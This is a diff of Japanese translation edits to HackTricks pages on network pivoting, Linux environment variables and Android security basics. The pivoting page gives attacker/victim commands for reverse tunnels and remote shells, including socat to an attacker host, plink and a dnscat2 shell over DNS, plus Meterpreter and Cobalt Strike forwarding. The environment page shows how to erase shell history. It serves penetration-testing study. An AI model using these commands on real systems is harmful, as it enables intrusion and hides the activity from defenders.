@ -62,7 +62,7 @@ ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in
|
|||
```
|
||||
### ポートツーポート
|
||||
|
||||
ローカルポート --> 侵害されたホスト(SSH) --> サードボックス:ポート
|
||||
ローカルポート --> 侵害されたホスト(SSH) --> 第三のボックス:ポート
|
||||
```bash
|
||||
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
|
||||
#Example
|
||||
|
@ -87,7 +87,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
|||
```
|
||||
### VPNトンネル
|
||||
|
||||
両方のデバイスで**root権限**が必要です(新しいインターフェースを作成するため)。また、sshdの設定でrootログインを許可する必要があります:\
|
||||
両方のデバイスで**root権限**が必要です(新しいインターフェースを作成するため)そしてsshdの設定でrootログインを許可する必要があります:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
|
@ -108,7 +108,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
|||
```
|
||||
## SSHUTTLE
|
||||
|
||||
ホストを介してサブネットワークへのすべてのトラフィックをssh経由で**トンネリング**できます。\
|
||||
**SSHUTTLE**を使用して、ホストを介してサブネットワークへのすべてのトラフィックを**SSH**経由で**トンネリング**できます。\
|
||||
たとえば、10.10.10.0/24に向かうすべてのトラフィックを転送する場合
|
||||
```bash
|
||||
pip install sshuttle
|
||||
|
@ -130,7 +130,7 @@ portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
|
|||
```
|
||||
### SOCKS
|
||||
|
||||
SOCKS(Socket Secure)は、ネットワークソケットを通じてトラフィックを転送するためのプロトコルです。通常、ファイアウォールをバイパスするために使用され、プライバシーと匿名性を提供します。
|
||||
SOCKS(Socket Secure)は、ネットワークソケットを通じてトラフィックを転送するためのプロトコルです。通常、ファイアウォールをバイパスするために使用されます。
|
||||
```bash
|
||||
background# meterpreter session
|
||||
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
|
||||
|
@ -138,37 +138,7 @@ use auxiliary/server/socks_proxy
|
|||
run #Proxy port 1080 by default
|
||||
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
```
|
||||
## Tunneling and Port Forwarding
|
||||
|
||||
### Local Port Forwarding
|
||||
|
||||
Local port forwarding allows you to forward traffic on a port from your local machine to a remote server. This can be useful for accessing services on a remote server securely.
|
||||
|
||||
To set up local port forwarding, you can use the following command:
|
||||
|
||||
```bash
|
||||
ssh -L <local_port>:<remote_server>:<remote_port> user@remote_server
|
||||
```
|
||||
|
||||
### Remote Port Forwarding
|
||||
|
||||
Remote port forwarding allows you to forward traffic from a remote server to your local machine. This can be helpful when you want to expose a service running on your local machine to the outside world.
|
||||
|
||||
To establish remote port forwarding, you can utilize the command below:
|
||||
|
||||
```bash
|
||||
ssh -R <remote_port>:<local_machine>:<local_port> user@remote_server
|
||||
```
|
||||
|
||||
### Dynamic Port Forwarding
|
||||
|
||||
Dynamic port forwarding creates a SOCKS proxy that allows you to tunnel traffic through a remote server. This can be advantageous for anonymizing your internet traffic or bypassing network restrictions.
|
||||
|
||||
To enable dynamic port forwarding, you can employ the following SSH command:
|
||||
|
||||
```bash
|
||||
ssh -D <local_socks_port> user@remote_server
|
||||
```
|
||||
もう一つの方法:
|
||||
```bash
|
||||
background #meterpreter session
|
||||
use post/multi/manage/autoroute
|
||||
|
@ -205,7 +175,7 @@ rportfwd stop [bind port]
|
|||
### rPort2Port ローカル
|
||||
|
||||
{% hint style="warning" %}
|
||||
この場合、**ポートはビーコンホストで開かれ**、チームサーバーではなく**トラフィックがCobalt Strikeクライアントに送信**され、そこから指定されたホスト:ポートに送信されます。
|
||||
この場合、**ポートはビーコンホストで開かれ**、チームサーバーではなく**トラフィックはCobalt Strikeクライアントに送信**され、そこから指定されたホスト:ポートに送信されます。
|
||||
{% endhint %}
|
||||
```
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
|
@ -317,7 +287,7 @@ victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.
|
|||
```
|
||||
### リモートポートツーポート
|
||||
|
||||
ローカルのSSHポート(22)を攻撃者のホストの443ポートに接続します。
|
||||
ローカルのSSHポート(22)を攻撃者ホストの443ポートに接続します。
|
||||
```bash
|
||||
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
|
||||
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
|
||||
|
@ -327,7 +297,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
|||
|
||||
これはコンソール版のPuTTYのようなものです(オプションはsshクライアントに非常に似ています)。
|
||||
|
||||
このバイナリは被害者で実行されるため、sshクライアントであるため、逆接続を持つためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを自分のマシンのポートにフォワーディングするには:
|
||||
このバイナリは被害者で実行されるため、sshクライアントであるため、逆接続を持つためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを私たちのマシンのポートにフォワーディングするだけです:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
|
@ -354,7 +324,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||
1. [SocksOverRDP x64 バイナリ](https://github.com/nccgroup/SocksOverRDP/releases) - このツールはWindowsのRemote Desktop Service機能から`Dynamic Virtual Channels` (`DVC`)を使用します。 DVCは**RDP接続を介してパケットをトンネリング**する責任があります。
|
||||
2. [Proxifier ポータブルバイナリ](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
クライアントコンピューターで**`SocksOverRDP-Plugin.dll`**を次のようにロードします:
|
||||
クライアントコンピューターで**`SocksOverRDP-Plugin.dll`**をロードします。
|
||||
```bash
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
|
@ -369,18 +339,18 @@ C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
|||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
今、そのポートを介してトラフィックをプロキシするために[**Proxifier**](https://www.proxifier.com/) **を使用できます。**
|
||||
Now you can use [**Proxifier**](https://www.proxifier.com/) **to proxy the traffic through that port.**
|
||||
|
||||
## Windows GUIアプリをプロキシ化する
|
||||
## Proxify Windows GUI Apps
|
||||
|
||||
Windows GUIアプリをプロキシを使用してナビゲートすることができます。[**Proxifier**](https://www.proxifier.com/)を使用します。\
|
||||
Windows GUIアプリをプロキシ経由で操作するには、[**Proxifier**](https://www.proxifier.com/) を使用できます。\
|
||||
**Profile -> Proxy Servers** でSOCKSサーバーのIPとポートを追加します。\
|
||||
**Profile -> Proxification Rules** でプロキシを適用するプログラムの名前とプロキシを適用したいIPへの接続を追加します。
|
||||
**Profile -> Proxification Rules** でプロキシを適用するプログラム名とプロキシを適用したいIPへの接続を追加します。
|
||||
|
||||
## NTLMプロキシバイパス
|
||||
## NTLM proxy bypass
|
||||
|
||||
先に言及したツール: **Rpivot**\
|
||||
**OpenVPN** もこれをバイパスできます。構成ファイルでこれらのオプションを設定します。
|
||||
先述のツール: **Rpivot**\
|
||||
**OpenVPN** もこれをバイパスでき、構成ファイルで次のオプションを設定します:
|
||||
```bash
|
||||
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
```
|
||||
|
@ -388,7 +358,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
|||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
プロキシに対して認証を行い、指定した外部サービスに転送されるローカルポートをバインドします。その後、このポートを介して選択したツールを使用できます。\
|
||||
プロキシに対して認証し、指定した外部サービスに転送されるローカルポートをバインドします。その後、このポートを介して選択したツールを使用できます。\
|
||||
たとえば、ポート443を転送します。
|
||||
```
|
||||
Username Alice
|
||||
|
@ -435,7 +405,7 @@ victim> ./dnscat2 --dns host=10.10.10.10,port=5353
|
|||
```
|
||||
#### **PowerShell**
|
||||
|
||||
PowerShellで[**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)を使用して、PowerShellでdnscat2クライアントを実行できます:
|
||||
[**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)を使用して、PowerShellでdnscat2クライアントを実行できます:
|
||||
```
|
||||
Import-Module .\dnscat2.ps1
|
||||
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
||||
|
@ -447,7 +417,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
|||
```
|
||||
#### プロキシチェーンのDNSの変更
|
||||
|
||||
Proxychainsは`gethostbyname` libc呼び出しを傍受し、tcp DNSリクエストをソックスプロキシを介してトンネリングします。**デフォルト**では、proxychainsが使用するDNSサーバーは**4.2.2.2**(ハードコードされています)。変更するには、ファイルを編集します:_/usr/lib/proxychains3/proxyresolv_ そしてIPを変更します。**Windows環境**の場合は、**ドメインコントローラー**のIPを設定できます。
|
||||
Proxychainsは`gethostbyname` libc呼び出しを傍受し、tcp DNSリクエストをソックスプロキシを介してトンネリングします。**デフォルト**では、proxychainsが使用する**DNS**サーバーは**4.2.2.2**(ハードコードされています)。変更するには、ファイルを編集します:_/usr/lib/proxychains3/proxyresolv_ そしてIPを変更します。**Windows環境**にいる場合は、**ドメインコントローラー**のIPを設定できます。
|
||||
|
||||
## Goでのトンネル
|
||||
|
||||
|
@ -518,7 +488,7 @@ chmod a+x ./ngrok
|
|||
```
|
||||
#### HTTPコールのスニッフィング
|
||||
|
||||
*XSS、SSRF、SSTIなどに役立ちます...*
|
||||
*XSS、SSRF、SSTIなどに便利...*
|
||||
標準出力から直接またはHTTPインターフェース[http://127.0.0.1:4040](http://127.0.0.1:4000)で。
|
||||
|
||||
#### 内部HTTPサービスのトンネリング
|
||||
|
@ -532,7 +502,7 @@ chmod a+x ./ngrok
|
|||
|
||||
3つのトンネルを開きます:
|
||||
- 2つはTCP
|
||||
- 1つは/tmp/httpbin/からの静的ファイル公開を持つHTTP
|
||||
- 1つは/tmp/httpbin/からの静的ファイル公開を行うHTTP
|
||||
```yaml
|
||||
tunnels:
|
||||
mytcp:
|
||||
|
@ -552,7 +522,7 @@ addr: file:///tmp/httpbin/
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -560,12 +530,12 @@ addr: file:///tmp/httpbin/
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセス**したいですか?または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローします。**
|
||||
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,16 +7,16 @@
|
|||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する
|
||||
- **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,14 +24,14 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
## グローバル変数
|
||||
|
||||
グローバル変数は**子プロセス**によって**継承されます**。
|
||||
グローバル変数は**子プロセス**によって継承されます。
|
||||
|
||||
現在のセッション用にグローバル変数を作成することができます:
|
||||
```bash
|
||||
export MYGLOBAL="hello world"
|
||||
echo $MYGLOBAL #Prints: hello world
|
||||
```
|
||||
この変数は、現在のセッションおよびその子プロセスからアクセスできます。
|
||||
この変数は、現在のセッションとその子プロセスからアクセスできます。
|
||||
|
||||
次のようにして変数を**削除**できます:
|
||||
```bash
|
||||
|
@ -58,7 +58,7 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ
|
|||
From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||
|
||||
* **DISPLAY** – **X** が使用するディスプレイ。通常、この変数は **:0.0** に設定されます。これは現在のコンピューター上の最初のディスプレイを意味します。
|
||||
* **EDITOR** – ユーザーの選択したテキストエディター。
|
||||
* **EDITOR** – ユーザーの選好するテキストエディター。
|
||||
* **HISTFILESIZE** – 履歴ファイルに含まれる最大行数。
|
||||
* **HISTSIZE** – ユーザーがセッションを終了するときに履歴ファイルに追加される行数。
|
||||
* **HOME** – ホームディレクトリ。
|
||||
|
@ -79,19 +79,19 @@ From: [https://geek-university.com/linux/common-environment-variables/](https://
|
|||
|
||||
### **HISTFILESIZE**
|
||||
|
||||
この変数の **値を 0 に変更**してください。これにより、セッションを **終了** するときに **履歴ファイル**(\~/.bash\_history)が **削除** されます。
|
||||
この変数の **値を 0 に変更**してください。これにより、セッションを **終了** するときに **履歴ファイル** (\~/.bash\_history) **が削除**されます。
|
||||
```bash
|
||||
export HISTFILESIZE=0
|
||||
```
|
||||
### **HISTSIZE**
|
||||
|
||||
この変数の値を0に変更して、セッションを終了するときにはどんなコマンドも履歴ファイル(\~/.bash\_history)に追加されないようにします。
|
||||
この変数の値を0に変更してください。これにより、セッションを終了するときには、どのコマンドも履歴ファイル(\~/.bash\_history)に追加されません。
|
||||
```bash
|
||||
export HISTSIZE=0
|
||||
```
|
||||
### http\_proxy & https\_proxy
|
||||
|
||||
プロセスは、ここで宣言された **proxy** を使用して、**httpまたはhttps** を介してインターネットに接続します。
|
||||
プロセスは、ここで宣言された **プロキシ** を使用して、**httpまたはhttps** を介してインターネットに接続します。
|
||||
```bash
|
||||
export http_proxy="http://10.10.10.10:8080"
|
||||
export https_proxy="http://10.10.10.10:8080"
|
||||
|
@ -127,7 +127,7 @@ Root:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -138,9 +138,9 @@ Root:
|
|||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。
|
||||
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,16 +7,17 @@
|
|||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
|
||||
- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする
|
||||
|
||||
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -31,48 +32,48 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
### UID分離
|
||||
|
||||
**各アプリケーションには特定のユーザーIDが割り当てられます**。これはアプリのインストール時に行われ、**アプリは自分のユーザーIDで所有するファイルまたは共有ファイルにのみアクセス**できます。したがって、アプリ自体、OSの特定のコンポーネント、およびルートユーザーだけがアプリのデータにアクセスできます。
|
||||
**各アプリケーションには特定のユーザーIDが割り当てられます**。これはアプリのインストール時に行われ、**アプリは自分のユーザーIDで所有されているファイルと共有**ファイルにのみアクセスできます。したがって、アプリ自体、OSの特定のコンポーネント、およびルートユーザーだけがアプリのデータにアクセスできます。
|
||||
|
||||
### UID共有
|
||||
|
||||
**2つのアプリケーションを同じUIDを使用するように構成できます**。これは情報を共有するのに役立ちますが、1つが侵害されると両方のアプリケーションのデータが侵害されます。このため、この動作は**推奨されません**。\
|
||||
**同じUIDを共有するには、アプリケーションはマニフェストで同じ `android:sharedUserId` 値を定義する必要があります。**
|
||||
**2つのアプリケーションを同じUIDを使用するように構成できます**。これは情報を共有するのに役立ちますが、1つが侵害されると両方のアプリケーションのデータが侵害されます。このため、この動作は**推奨されていません**。\
|
||||
**同じUIDを共有するには、アプリケーションはマニフェストで同じ`android:sharedUserId`値を定義する必要があります。**
|
||||
|
||||
### サンドボックス
|
||||
|
||||
**Androidアプリケーションサンドボックス**を使用すると、**各アプリケーション**を**別のプロセスとして別のユーザーIDで実行**できます。各プロセスには独自の仮想マシンがあり、アプリのコードは他のアプリから隔離されて実行されます。\
|
||||
**Androidアプリケーションサンドボックス**を使用すると、**各アプリケーション**を**別のユーザーIDで別のプロセスとして実行**できます。各プロセスには独自の仮想マシンがあり、アプリのコードは他のアプリから隔離されて実行されます。\
|
||||
Android 5.0(L)からは**SELinux**が強制されています。基本的に、SELinuxはすべてのプロセスの相互作用を拒否し、それらの間で**予想される相互作用のみを許可するポリシーを作成**しました。
|
||||
|
||||
### 権限
|
||||
|
||||
**アプリをインストールし、権限を要求するとき**、アプリは**AndroidManifest.xml**ファイルの**`uses-permission`**要素で構成された権限を要求しています。**uses-permission**要素は、**name** **属性内の要求された権限の名前**を示します。**maxSdkVersion**属性もあり、指定されたバージョンよりも高いバージョンでは権限を要求しなくなります。\
|
||||
Androidアプリケーションは最初からすべての権限を要求する必要はなく、**権限を動的に要求**することもできますが、すべての権限は**マニフェストで宣言**されている必要があります。
|
||||
アプリをインストールすると**権限が求められます**。アプリは**AndroidManifest.xml**ファイルの**`uses-permission`**要素で構成された権限を要求しています。**uses-permission**要素は、**name** **属性内の要求された権限の名前**を示します。**maxSdkVersion**属性もあり、指定されたバージョンよりも高いバージョンでは権限を要求しなくなります。\
|
||||
Androidアプリケーションは最初からすべての権限を要求する必要はなく、**権限を動的に要求する**こともできますが、すべての権限は**マニフェストで宣言**されている必要があります。
|
||||
|
||||
アプリが機能を公開すると、**指定された権限を持つアプリにのみアクセス**を制限できます。\
|
||||
アプリが機能を公開すると、**指定された権限を持つアプリにのみアクセスを制限**できます。\
|
||||
権限要素には3つの属性があります:
|
||||
|
||||
- 権限の**名前**
|
||||
- 関連する権限をグループ化する**permission-group**属性
|
||||
- 権限グループをグループ化する**permission-group**属性
|
||||
- 権限がどのように付与されるかを示す**protection-level**。4つのタイプがあります:
|
||||
- **Normal**:アプリに**既知の脅威がない**場合に使用されます。ユーザーは**承認を求められません**。
|
||||
- **Dangerous**:権限が要求されたアプリケーションに**一部の権限が与えられる**ことを示します。**ユーザーは承認を求められます**。
|
||||
- **Signature**:**エクスポートしているコンポーネントと同じ証明書で署名されたアプリ**のみが権限を付与されることができます。これは最も強力な保護のタイプです。
|
||||
- **SignatureOrSystem**:**エクスポートしているコンポーネントと同じ証明書で署名されたアプリ**または**システムレベルのアクセスで実行されているアプリ**のみが権限を付与されることができます。
|
||||
- **Dangerous**:権限が要求されたアプリケーションに**高度なアクセス**を付与することを示します。**ユーザーは承認を求められます**。
|
||||
- **Signature**:**コンポーネントをエクスポートする証明書と同じ証明書で署名されたアプリ**のみが権限を付与されます。これは最も強力な保護のタイプです。
|
||||
- **SignatureOrSystem**:**コンポーネントをエクスポートする証明書と同じ証明書で署名されたアプリ**または**システムレベルのアクセスで実行されているアプリ**のみが権限を付与されます。
|
||||
|
||||
## 事前インストールされたアプリケーション
|
||||
|
||||
これらのアプリは一般的に**`/system/app`**または**`/system/priv-app`**ディレクトリにあり、一部は**最適化されています**(`classes.dex`ファイルが見つからない場合があります)。これらのアプリケーションは、**時々ルートとして実行されている**ため、チェックする価値があります。
|
||||
これらのアプリは一般的に**`/system/app`**または**`/system/priv-app`**ディレクトリにあり、一部は**最適化**されています(`classes.dex`ファイルが見つからない場合があります)。これらのアプリケーションは、**rootとして実行されることが多い**ため、確認する価値があります。
|
||||
|
||||
- **AOSP**(Androidオープンソースプロジェクト)**ROM**に含まれるもの
|
||||
- デバイスの**製造元**によって追加されたもの
|
||||
- 携帯電話プロバイダーによって追加されたもの(それらから購入した場合)
|
||||
- 携帯電話プロバイダーによって追加されたもの(そこで購入した場合)
|
||||
|
||||
## ルート化
|
||||
|
||||
物理的なAndroidデバイスでルートアクセスを取得するには、通常、デバイスとバージョンに**特定の脆弱性を悪用**する必要があります。\
|
||||
悪用が成功すると、通常、Linuxの `su` バイナリがユーザーのPATH環境変数で指定された場所(`/system/xbin`など)にコピーされます。
|
||||
悪用が成功すると、通常はLinuxの`su`バイナリがユーザーのPATH環境変数で指定された場所(たとえば`/system/xbin`)にコピーされます。
|
||||
|
||||
suバイナリが構成されると、別のAndroidアプリが `su` バイナリとのインターフェイスを使用して**ルートアクセスのリクエストを処理**します。例:**Superuser**や**SuperSU**(Google Playストアで利用可能)。
|
||||
suバイナリが構成されると、他のAndroidアプリが`su`バイナリとのインターフェイスを使用して**rootアクセスのリクエストを処理**するために使用されます(Google Playストアで利用可能な**Superuser**や**SuperSU**など)。
|
||||
|
||||
{% hint style="danger" %}
|
||||
ルート化プロセスは非常に危険であり、デバイスに重大な損害を与える可能性があります
|
||||
|
@ -83,45 +84,45 @@ suバイナリが構成されると、別のAndroidアプリが `su` バイナ
|
|||
**カスタムファームウェアをインストールしてOSを置き換える**ことができます。これにより、古いデバイスの有用性を拡張したり、ソフトウェアの制限をバイパスしたり、最新のAndroidコードにアクセスしたりすることができます。\
|
||||
**OmniROM**と**LineageOS**は、最も人気のあるファームウェアの2つです。
|
||||
|
||||
デバイスをルート化する必要があるわけではないことに注意してください。**一部のメーカーは**、ブートローダーのアンロックを**十分に文書化された安全な方法**で許可しています。
|
||||
デバイスをルート化する必要が**常にあるわけではない**ことに注意してください。**一部のメーカーは**、ブートローダーのアンロックを**十分に文書化された安全な方法**で許可しています。
|
||||
|
||||
### 影響
|
||||
|
||||
デバイスがルート化されると、任意のアプリがルートアクセスを要求できます。悪意のあるアプリがそれを取得した場合、ほとんどすべてにアクセスでき、電話を破損させることができます。
|
||||
デバイスがルート化されると、任意のアプリがrootアクセスを要求できます。悪意のあるアプリがそれを取得した場合、ほとんどすべてにアクセスでき、電話を破損させることができます。
|
||||
|
||||
## Androidアプリケーションの基礎 <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- Androidアプリケーションの形式は_APKファイル形式_と呼ばれます。基本的には**ZIPファイル**です(ファイル拡張子を .zip に変更することで、内容を抽出して表示できます)。
|
||||
- Androidアプリケーションの形式は_APKファイル形式_と呼ばれます。実質的には**ZIPファイル**です(ファイル拡張子を.zipに変更することで、内容を抽出して表示できます)。
|
||||
- APKの内容(完全ではありません)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
- resources.arsc:バイナリXMLなど、事前にコンパイルされたリソースが含まれています。
|
||||
- res/xml/files\_paths.xml
|
||||
- META-INF/
|
||||
- ここに証明書があります!
|
||||
- **classes.dex**
|
||||
